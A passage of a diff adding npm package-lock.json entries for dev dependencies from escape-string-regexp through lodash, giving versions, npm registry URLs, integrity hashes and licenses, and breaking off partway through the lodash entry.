"node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/extract-zip": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.1.tgz", + "integrity": "sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "debug": "^4.1.1", + "get-stream": "^5.1.0", + "yauzl": "^2.10.0" + }, + "bin": { + "extract-zip": "cli.js" + }, + "engines": { + "node": ">= 10.17.0" + }, + "optionalDependencies": { + "@types/yauzl": "^2.9.1" + } + }, + "node_modules/extsprintf": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.4.1.tgz", + "integrity": "sha512-Wrk35e8ydCKDj/ArClo1VrPVmN8zph5V4AtHwIuHhvMXsKf73UT3BOD+azBIW+3wOJ4FhEH7zyaJCFvChjYvMA==", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "license": "MIT", + "optional": true + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fd-slicer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", + "integrity": "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==", + "dev": true, + "license": "MIT", + "dependencies": { + "pend": "~1.2.0" + } + }, + "node_modules/filelist": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz", + "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "minimatch": "^5.0.1" + } + }, + "node_modules/foreground-child": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "dev": true, + "license": "ISC", + "dependencies": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/form-data": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", + "dev": true, + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/fs-extra": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", + "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + }, + "engines": { + "node": ">=6 <7 || >=8" + } + }, + "node_modules/fs-minipass": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz", + "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==", + "dev": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/fs-minipass/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true, + "license": "ISC" + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "license": "ISC", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "dev": true, + "license": "MIT", + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "dev": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob/node_modules/brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/glob/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/global-agent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/global-agent/-/global-agent-3.0.0.tgz", + "integrity": "sha512-PT6XReJ+D07JvGoxQMkT6qji/jVNfX/h364XHZOWeRzy64sSFr+xJ5OX7LI3b4MPQzdL4H8Y8M0xzPpsVMwA8Q==", + "dev": true, + "license": "BSD-3-Clause", + "optional": true, + "dependencies": { + "boolean": "^3.0.1", + "es6-error": "^4.1.1", + "matcher": "^3.0.0", + "roarr": "^2.15.3", + "semver": "^7.3.2", + "serialize-error": "^7.0.1" + }, + "engines": { + "node": ">=10.0" + } + }, + "node_modules/global-agent/node_modules/semver": { + "version": "7.7.3", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", + "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==", + "dev": true, + "license": "ISC", + "optional": true, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/globalthis": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz", + "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "define-properties": "^1.2.1", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/got": { + "version": "11.8.6", + "resolved": "https://registry.npmjs.org/got/-/got-11.8.6.tgz", + "integrity": "sha512-6tfZ91bOr7bOXnK7PRDCGBLa1H4U080YHNaAQ2KsMGlLEzRbk44nsZF2E1IeRc3vtJHPVbKCYgdFbaGO2ljd8g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@sindresorhus/is": "^4.0.0", + "@szmarczak/http-timer": "^4.0.5", + "@types/cacheable-request": "^6.0.1", + "@types/responselike": "^1.0.0", + "cacheable-lookup": "^5.0.3", + "cacheable-request": "^7.0.2", + "decompress-response": "^6.0.0", + "http2-wrapper": "^1.0.0-beta.5.2", + "lowercase-keys": "^2.0.0", + "p-cancelable": "^2.0.0", + "responselike": "^2.0.0" + }, + "engines": { + "node": ">=10.19.0" + }, + "funding": { + "url": "https://github.com/sindresorhus/got?sponsor=1" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/hosted-git-info": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz", + "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==", + "dev": true, + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/http-cache-semantics": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz", + "integrity": "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==", + "dev": true, + "license": "BSD-2-Clause" + }, + "node_modules/http-proxy-agent": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", + "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@tootallnate/once": "2", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/http2-wrapper": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz", + "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==", + "dev": true, + "license": "MIT", + "dependencies": { + "quick-lru": "^5.1.1", + "resolve-alpn": "^1.0.0" + }, + "engines": { + "node": ">=10.19.0" + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "dev": true, + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/iconv-corefoundation": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/iconv-corefoundation/-/iconv-corefoundation-1.1.7.tgz", + "integrity": "sha512-T10qvkw0zz4wnm560lOEg0PovVqUXuOFhhHAkixw8/sycy7TJt7v/RrkEKEQnAw2viPSJu6iAkErxnzR0g8PpQ==", + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "dependencies": { + "cli-truncate": "^2.1.0", + "node-addon-api": "^1.6.3" + }, + "engines": { + "node": "^8.11.2 || >=10" + } + }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", + "dev": true, + "license": "ISC", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/is-ci": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-3.0.1.tgz", + "integrity": "sha512-ZYvCgrefwqoQ6yTyYUbQu64HsITZ3NfKX1lzaEYdkTDcfKzzCI/wthRRYKkdjHKFVgNiXKAKm65Zo1pk2as/QQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ci-info": "^3.2.0" + }, + "bin": { + "is-ci": "bin.js" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/isbinaryfile": { + "version": "5.0.7", + "resolved": "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-5.0.7.tgz", + "integrity": "sha512-gnWD14Jh3FzS3CPhF0AxNOJ8CxqeblPTADzI38r0wt8ZyQl5edpy75myt08EG2oKvpyiqSqsx+Wkz9vtkbTqYQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 18.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/gjtorikian/" + } + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "license": "ISC" + }, + "node_modules/jackspeak": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", + "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" + } + }, + "node_modules/jake": { + "version": "10.9.4", + "resolved": "https://registry.npmjs.org/jake/-/jake-10.9.4.tgz", + "integrity": "sha512-wpHYzhxiVQL+IV05BLE2Xn34zW1S223hvjtqk0+gsPrwd/8JNLXJgZZM/iPFsYc1xyphF+6M6EvdE5E9MBGkDA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "async": "^3.2.6", + "filelist": "^1.0.4", + "picocolors": "^1.1.1" + }, + "bin": { + "jake": "bin/cli.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/js-yaml": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", + "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", + "dev": true, + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==", + "dev": true, + "license": "ISC", + "optional": true + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonfile": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", + "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==", + "dev": true, + "license": "MIT", + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/lazy-val": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/lazy-val/-/lazy-val-1.0.5.tgz", + "integrity": "sha512-0/BnGCCfyUMkBpeDgWihanIAF9JmZhHBgUhEqzvf+adhNGLoP6TaiI5oF8oyb3I45P+PcnrqihSf01M0l0G5+Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/lazystream": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz", + "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "readable-stream": "^2.0.5" + }, + "engines": { + "node": ">= 0.6.3" + } + }, + "node_modules/lazystream/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/lazystream/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/lazystream/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": 